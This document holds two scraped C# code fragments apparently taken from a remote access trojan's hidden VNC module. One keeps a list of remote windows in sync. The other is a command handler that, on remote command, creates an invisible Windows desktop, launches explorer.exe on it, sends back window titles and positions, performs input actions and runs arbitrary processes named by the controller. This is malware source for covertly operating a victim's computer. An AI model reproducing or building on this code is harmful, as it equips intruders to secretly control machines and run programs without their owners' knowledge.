public void Update(WindowUpdate windowUpdate)
        {
            if (_isDisposed)
            {
                return;
            }

            lock (_listLock)
            {
                foreach (var windowInformation in windowUpdate.UpdatedWindows)
                {
                    Windows.FirstOrDefault(x => x.Handle == windowInformation.Handle)?.UpdateData(windowInformation);
                }

                foreach (var windowInformation in windowUpdate.NewWindows)
                {
                    if (Windows.All(x => x.Handle != windowInformation.Handle))
                    {
                        Windows.Add(new WindowRenderInfo(windowInformation));
                    }
                }

                foreach (var windowToRemove in Windows.Where(x => !windowUpdate.AllWindows.Contains(x.Handle)).ToList()) //ToList is important to allow removing from the list
                {
                    Windows.Remove(windowToRemove);
                }

                Windows =
                    new List <WindowRenderInfo>(windowUpdate.AllWindows.Where(
                                                    x => Windows.Any(y => y.Handle == x))
                                                .Select(x => Windows.FirstOrDefault(y => y.Handle == x)));

                /*var windowsIndex = 0;
                 * for (int i = 0; i < windowUpdate.AllWindows.Count; i++)
                 * {
                 *  var windowHandle = windowUpdate.AllWindows[i];
                 *  var existingWindow = Windows.FirstOrDefault(x => x.Handle == windowHandle);
                 *  if (existingWindow == null)
                 #if DEBUG
                 *      throw new Exception("Window does not exist");
                 #else
                 *      continue;
                 #endif
                 *
                 *  Windows.Move(Windows.IndexOf(existingWindow), windowsIndex);
                 *  windowsIndex++;
                 * }*/

                if (windowUpdate.RenderedWindow != null)
                {
                    var windowToUpdate = Windows.FirstOrDefault(x => x.Handle == windowUpdate.RenderedWindowHandle);
                    windowToUpdate?.UpdateImage(windowUpdate.RenderedWindow);
                }
            }

            _updateReceivedAutoResetEvent.Set();
        }
Beispiel #2
0
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((HvncCommunication)parameter[0])
            {
            case HvncCommunication.CreateDesktop:
                lock (_desktopLock)
                {
                    var information =
                        new Serializer(typeof(CreateDesktopInformation)).Deserialize <CreateDesktopInformation>(
                            parameter, 1);

                    _currentDesktop = new Desktop();
                    _currentDesktop.Create(information.CustomName ?? Settings.GetBuilderProperty <MutexBuilderProperty>().Mutex);

                    if (information.StartExplorer)
                    {
                        _currentDesktop.CreateProcess(Path.Combine(
#if NET35
                                                          EnvironmentExtensions.WindowsFolder,
#else
                                                          Environment.GetFolderPath(Environment.SpecialFolder.Windows),
#endif
                                                          "explorer.exe"), "");
                    }
                    _renderWindows = new List <RenderWindow>();
                }

                var response = new byte[9];
                response[0] = (byte)HvncCommunication.ResponseDesktopCreated;
                Array.Copy(BitConverter.GetBytes(SystemInformation.VirtualScreen.Width), 0, response, 1, 4);
                Array.Copy(BitConverter.GetBytes(SystemInformation.VirtualScreen.Height), 0, response, 5, 4);
                ResponseBytes(response, connectionInfo);
                break;

            case HvncCommunication.CloseDesktop:
                lock (_desktopLock)
                {
                    if (_currentDesktop?.IsOpen == true)
                    {
                        DisposeSession();
                    }
                }
                ResponseByte((byte)HvncCommunication.ResponseDesktopClosed, connectionInfo);
                break;

            case HvncCommunication.GetUpdate:
                lock (_currentDesktop)
                {
                    if (_currentDesktop == null || !_currentDesktop.IsOpen)
                    {
                        ResponseByte((byte)HvncCommunication.ResponseUpdateFailed, connectionInfo);
                        return;
                    }

                    try
                    {
                        Desktop.SetCurrent(_currentDesktop);

                        var windows = _currentDesktop.GetWindows();
                        if (windows == null)
                        {
                            ResponseByte((byte)HvncCommunication.ResponseUpdateFailed, connectionInfo);
                            return;
                        }

                        var windowResult = new WindowUpdate {
                            AllWindows = windows.Select(x => x.Handle.ToInt64()).ToList()
                        };

                        const int maxWindowNameLength = 100;
                        var       ptr = Marshal.AllocHGlobal(maxWindowNameLength);

                        try
                        {
                            foreach (var window in windows)
                            {
                                RECT rect;
                                NativeMethods.GetWindowRect(window.Handle, out rect);
                                NativeMethods.GetWindowText(window.Handle, ptr, maxWindowNameLength);

                                var windowInformation = new WindowInformation
                                {
                                    Handle = (int)window.Handle,
                                    Height = rect.Height,
                                    Width  = rect.Width,
                                    X      = rect.X,
                                    Y      = rect.Y,
                                    Title  = Marshal.PtrToStringAnsi(ptr)
                                };

                                var existingRenderWindow =
                                    _renderWindows.FirstOrDefault(x => x.WindowInformation.Handle == (int)window.Handle);

                                if (existingRenderWindow == null)
                                {
                                    windowResult.NewWindows.Add(windowInformation);
                                    _renderWindows.Add(new RenderWindow(windowInformation, window.Handle));
                                }
                                else
                                {
                                    if (existingRenderWindow.WindowInformation.Equals(windowInformation))
                                    {
                                        continue;
                                    }

                                    windowResult.UpdatedWindows.Add(windowInformation);
                                    existingRenderWindow.ApplyWindowInformation(windowInformation);
                                }
                            }
                        }
                        finally
                        {
                            Marshal.FreeHGlobal(ptr);
                        }

                        var windowToRenderHandle = BitConverter.ToInt32(parameter, 1);
                        if (windowToRenderHandle != 0)
                        {
                            var renderWindow =
                                _renderWindows.FirstOrDefault(x => x.WindowInformation.Handle == windowToRenderHandle);

                            if (renderWindow != null)
                            {
                                try
                                {
                                    Debug.Print("Render window: " + windowToRenderHandle);
                                    //windowResult.RenderedWindow = renderWindow.Render();
                                    if (windowResult.RenderedWindow == null)
                                    {
                                        Debug.Print("Render failed");
                                    }
                                    windowResult.RenderedWindowHandle = renderWindow.WindowInformation.Handle;
                                }
                                catch (Exception)
                                {
                                    //shit happens
                                }
                            }
                        }

                        ResponseBytes((byte)HvncCommunication.ResponseUpdate,
                                      new Serializer(typeof(WindowUpdate)).Serialize(windowResult), connectionInfo);
                    }
                    catch (Exception)
                    {
#if DEBUG
                        throw;
#else
                        ResponseByte((byte)HvncCommunication.ResponseUpdateFailed, connectionInfo);
#endif
                    }
                }
                break;

            case HvncCommunication.DoAction:
                lock (_desktopLock)
                {
                    Debug.Print("Begin DoAction");
                    DoAction((HvncAction)parameter[1], parameter.Skip(2).ToArray());
                    Debug.Print("End DoAction");
                }
                break;

            case HvncCommunication.ExecuteProcess:
                lock (_desktopLock)
                {
                    Debug.Print("Begin ExecuteProcess");
                    _currentDesktop.CreateProcess(Encoding.UTF8.GetString(parameter, 1, parameter.Length - 1), "");
                    Debug.Print("End ExecuteProcess");
                }

                connectionInfo.CommandResponse(this,
                                               new[] { (byte)HvncCommunication.ResponseProcessExecuted });
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }